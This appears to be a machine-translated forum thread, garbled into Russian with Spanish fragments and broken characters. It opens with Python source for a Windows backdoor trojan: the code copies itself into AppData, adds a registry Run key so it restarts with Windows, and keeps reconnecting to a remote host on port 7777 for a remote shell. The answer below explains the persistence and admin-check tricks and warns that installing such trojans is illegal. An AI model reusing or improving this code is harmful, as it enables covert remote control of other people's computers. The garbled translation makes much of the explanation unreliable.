# !/usr/bin/env python
# -*- coding: utf-8 -*-
#from servidor import *
import socket
import os
import subprocess
import base64
import requests
import mss
import time
import shutil
#import win32console
#import win32gui
import sys
class Cliente():
def __init__(self):
self.persistencia()
self.connection()
def persistencia(self):
location = os.environ["appdata"] + r'\win_32.exe'
if not os.path.exists(location):
shutil.copyfile(sys.executable,location)
subprocess.call(r'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v win_32 /t REG_SZ /d {}'.format(location),shell = True)
def connection(self):
self.cliente = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while True:
time.sleep(5)
try:
self.cliente.connect(('proxy_server', 7777))
self.shell()
self.cliente.close()
except:
self.connection()
else:
self.connection()
def root_check(self):
try:
check = os.listdir(os.sep.join([os.environ.get("SystemRoot",r'C:\windows'),'temp']))
except:
self.admin = "\nNo eres usuario root."
else:
self.admin = "\nEres usuario root."
def screenshot(self):
screen = mss.mss()
screen.shot()
Я не понимаю, что происходит в рамках попытки метода root_check, и при этом я не понимаю, что происходит в методе постоянства сразу после location = os.environ ... (после этого я ничего не могу понять.)
Я не понимаю, что такое appdata, systemroot, temp, что-нибудь подобное в os.environ.get.
Пдта: Извините за отступ, я поднял это с мобильного телефона.
os.environ
служит для того, чтобы согласиться на я прикрываю ejecuciГіn из программы.
, Когда ты бросаешь рукописный шрифт python с shell , все переменные окружения, определенные в этой shell estГЎn доступные в программу в travГ©s os.environ()
.
Например, представь, что я бросаю рукописный шрифт с bash следующей формы (в Windows serГ - в ту же идею, но переменные окружения распределяются по-другому):
$ export MI_VARIABLE="Hola que tal"
$ python mi_script.py
С cГіdigo mi_script.py
я могу соглашаться на стоимость переменной окружения MI_VARIABLE
в следующей форме:
valor = os.environ.get("MI_VARIABLE", None)
if valor:
print(valor)
В действительности os.environ
возвращает словарь Пайтон, ключи которого - все переменные окружения, из-за которого tambiГ©n serГ - в vГЎlido делать:
print(os.environ["MI_VARIABLE"])
проблема этой секунды cГіdigo - что, если эта переменная не существует в среде, словаре carecerГЎ этого ключа, и попытки согласиться на нее generarГЎ одна excepciГіn. Взамен используя .get("MI_VARIABLE", None)
мы обеспечиваем стандартной настройкой для случая, в котором эта переменная не существует (я поместил None
но ты можешь помещать любого другого).
, Относительно которого он делает оставшуюся часть cГіdigo, относится друг к другу о троянском коне, который устанавливает заднюю дверь. Первый раз, который загружает копию выполнимый в некой папке и изменяет реестр windows для того, чтобы он вновь загружал этого троянского коня каждый раз, когда Windows был возобновлен. DespuГ©s открывает shell обман conectГЎndose proxy (или пробуя делать это, повторно пробуя каждые 5 секунд). root_check
проверяет, у пользователя, который выполняет рукописный шрифт, есть ли разрешения администратора. Стиль programaciГіn немного небрежный.
я не буду давать тебе детали cГіmo функционируй перед тем, как знать для quГ© это это. Устанавливать троянских коней в mГЎquinas других без Вашего разрешения - незаконно.
Переменная окружения "appdata"
обычно является предопределенной в Windows из-за самой системы и указывает на папку (usario что estГ© в этом моменте logueado), в которой приложения хранят Ваши данные (ej: где браузеры хранят Ваш cachГ©s, и т.д.)
ты Можешь видеть стоимость этой переменной, если ты открываешь Windows конечную остановку и помещаешь:
echo %appdata%
C:\Users\abulafia\AppData\Roaming
Я Предполагаю, что этот рукописный шрифт использует ее, чтобы проверять папку, которая существовала бы, и в той, кто может писать без проблем (так как он принадлежит пользователю, что estГЎ выполняя рукописный шрифт).
Посредством if not os.path.exists(location):
предотвращает вновь копировать выполнимого, если уже он был allГ-. Следовательно sГіlo copiarГЎ первый раз. TambiГ©n, если это первый раз, который работает (то, что обнаруживает у себя, потому что троянский конь уже estГЎ скопированный в Вашей судьбе) использует команду reg add
для aГ±adir в реестр системы, ключ. Этот ключ в cuestiГіn - для того, чтобы выполнимый, скопированный в appdata вновь был загружен каждый раз, когда Windows тронулся.
Относительно переменной окружения systemroot
- та, которая содержит имя папки, в которой Windows estГЎ установленный. Обычно Вашей стоимости C:\Windows
. И в самом деле это стоимость, которую рукописный шрифт берет по умолчанию, если переменная не существует.
Ло Гєnico, у которого есть специального эта папка, - что estГЎ подопечная, чтобы избегать того, чтобы пользователь несущественно удалил algГєn жизненный компонент Windows. AsГ - что рукописный шрифт использует этот прием, чтобы знать, - ли пользователь admin. Просто он пробует читать C:\Windows\temp
, и если он это не получает (потому что производится одна excepciГіn) состоит в том, что он не администратор. Эта informaciГіn сторож, я предполагаю, что для mostrГЎrsela в хакера когда между посредством удаленного shell.